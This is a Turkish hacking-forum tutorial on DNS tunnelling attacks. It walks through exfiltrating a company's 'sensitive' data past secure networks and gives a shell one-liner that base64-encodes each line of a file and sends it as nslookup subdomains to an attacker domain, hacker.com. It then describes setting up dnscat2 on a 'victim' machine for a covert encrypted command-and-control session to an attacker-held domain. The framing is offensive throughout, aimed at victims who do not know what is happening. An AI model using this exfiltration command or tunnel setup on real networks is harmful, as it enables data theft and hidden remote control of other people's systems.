dnscat2 ile DNS Tünelleme Saldırısı

Zuko

Yeni üye
27 Kas 2020
33
0
Tünelleme ve Avantajları

Tünellemeyi en basit şekilde normalde kullandığımız portları ve protokolleri farklı portlar ve protokoller yardımıyla kendimize özel, uygun bir trafik oluşturarak kullanmak olarak özetleyebiliriz. Günlük hayattan bir örnek vermek gerekirse bazı kurumların ağlarından belirli sitelere erişememiz güzel bir örnek olacaktır diye düşünüyorum. Tünellemenin hemen hemen en iyi avantajlarından biri de şüphesiz sağladığı güvenliktir. Hepimizin bildiği MITM tarzı ataklada hackerımız bilgisayarınız ve sunucu arasındaki veri trafiğini izleyip çeşitli verilere ulaşabilir fakat tünelleme sayesinde oluşturduğumuz ağımızdan akan veriler şifrelenmiş bir şekilde gideceğinden bu tarz bir saldırıya karşı etkili bir önlem almış oluyoruz. Buna da bir örnek vermek gerekirse havadaki bir helikopterin bir bölgeyi taradığını düşünün. Eğer biz tünelde saklanırsak bizi görmesi pek de mümkün değildir.

Evet bu kadar teorik bilgi beni de sıktı dilerseniz DNS tünelleme işlemine geçelim

DNS Tünelleme

DNS tünelleme ile ilgili çok temel ama önemli bir şeyi göstereceğim;



Burada ilk olarak, dahili DNS sunucusunu tanımlamalıyız. Bu kolay bir işlem. Şimdi aşağıdaki yapmamız gereken birtakım şeyler var.

* Dahili DNS ile iletişim kurabiliyor muyuz?
* Şirket DNS'si aracılığıyla dahili etki alanını çözebilir miyiz?
* Harici alanı (ör. github.com) dahili DNS aracılığıyla çözebilir miyiz?
* Harici DNS ile doğrudan iletişim kurabilir miyiz?



Her şey bu komut satırında saklı aslında. İlk komut dahili alanı çözebileceğimizi, ikincisi ise şirket DNS sunucusu aracılığıyla harici bir alanı çözebileceğimizi gösterir. Bu, DNS tünelleme yapabileceğimiz anlamına geliyor ancak 3. komuta dikkat edin. Güvenli ağların çoğu, harici DNS ile iletişim kurmanıza izin vermez. Şayet bunu yapmanıza elveriyorsa bağlandığınız ağ bu bir güvenlik sorunudur aklınızda bulunsun.

Buraya kadar arkaplanda nasıl işlemler gerçekleşti bunlara bakalım şimdi;

* Hackerımızın kontrolü altında olan bir alan olduğunu varsayalım. Bunun hacker.com olduğunu varsayalım.
* Hackerımız hacker.com'u resolve etmek için dahili DNS sunucusuna bir DNS isteği gönderir.
* hacker.com için yetkili DNS sunucusu internette başka bir yerde bulunur. Böylelikle isteği firewall üzerinden kök sunucuya yönlendirir.
* Çok sayıda yeniden yönlendirmeden sonra, bir DNS isteği hackerımızın kontrolü altındaki hacker.com'un yetkili bir DNS sunucusuna ulaşır.İstek hackerımız tarafından oluşturulduğundan istekten dönen yanıtın ne olduğu pek de önemli değildir.
* Yanıt, dahili DNS sunucusuna ulaşır
* Ve son olarak, hackerımız bir yanıt alır.

Buraya kadar harici sunucu ile iletişim kurduk ama saldırı namına bir şey yapmadık. E yapalım bakalım;

Elimizde şöyle bir 'hassas veri' olsun;



Ve ben bu verileri güvenli ağ üzerinden sızdırmak istiyorum.
Kod:
for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done
Bu kabuk komutu içinde hassas bilgileri barındıran dosyayımızı satır satır okur. Ardından her satırda bir base64 kodlaması gerçekleştirir. Ve sonra bunu DNS sorgusu sırasında bir alt alan adı olarak kullanır. Sorgu hacker.com'un yetkili DNS sunucusuna ulaştığında, ilgili hassas verileri bulmak için DNS loglarını izleyebilir, ayrıştırabilir ve alt alanların kodunu çözebiliriz. Bu teknikler iyi hoş çalışır ancak aşağıdaki bazı sınırlamalrı göz ardı etmemek gerek

* Tek yönlü ieltişim kurulur. Biz C2'den (yetkili DNS) herhangi bir komut gönderemiyoruz
* Tamam bu 4 satırlık dosyayı okumak çok hızlı ve kolay. Peki 100MB veriyi işlerken ne yapacağız? Bu durumda DNS paketleri karışabilir.

Ama hemen umutsuzluğa kapılmayın. dnscat2 bu durumda bizim işlerimizi kolaylaştıracak. Peki nedir bu dnscat2 zımbırtısı nasıl kullanılır?
Dnscat2 bize istemci ve sunucu uygulaması sağlar. Şimdi gelin önce client için yani kurban için dnscat'imizi konfigüre edelim daha sonra da bir DNS2 sunucusu oluşturalım;


('client' yani kurban tarafı olarak konfigüre ettik)


(DNS2 serverımızı hacker olarak kurduk)

Kalan işlemleri 'kök kullanıcı yetkisi ile gerçekletirmemiz lazım bunun için;
Kod:
sudo su
Artık kalan işlemleri yapabiliriz;



opendns.online, hackerımızın kontrolü altındaki bir alan adı. opendns.online için yetkili bir DNS sunucusuna sahip olmak çok ama çok önemlidir.

Dnscat, bize gizli bir anahtar oluşturdu. Anahtar, tünelleme sırasında şifreli iletişim için "shared secret" bir şekilde kullanılacaktır. Bunun yanında, dnscat iki farklı istemci komutu sunar. Tekrar hatırlatalım, harici bir sunucuya DNS sorgusu gönderebiliyor olabilirsiniz ancak güvenli ağların çoğunun harici DNS hizmetlerini kullanmasına izin vermediğini unutmayın.

Şimdi 'client' yani kurban tarafı olduk yeniden;



Bu şekilde kurban DNS2 serverımıza bağlandığında dnscat bize "new window created" diye bir uyarı verip session'ımızı başlatacak;



Kurbanımız olup bitenden habersiz, sunucuya birkaç TXT çözümleme isteği gönderir ve ardından CNAME'ler aracılığıyla şifreli iletişimi başlatır. Bu noktadan itibaren, hackerımız neredeyse her şeyi o tünel aracılığı ile yapabilir. Mesela mı?


 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.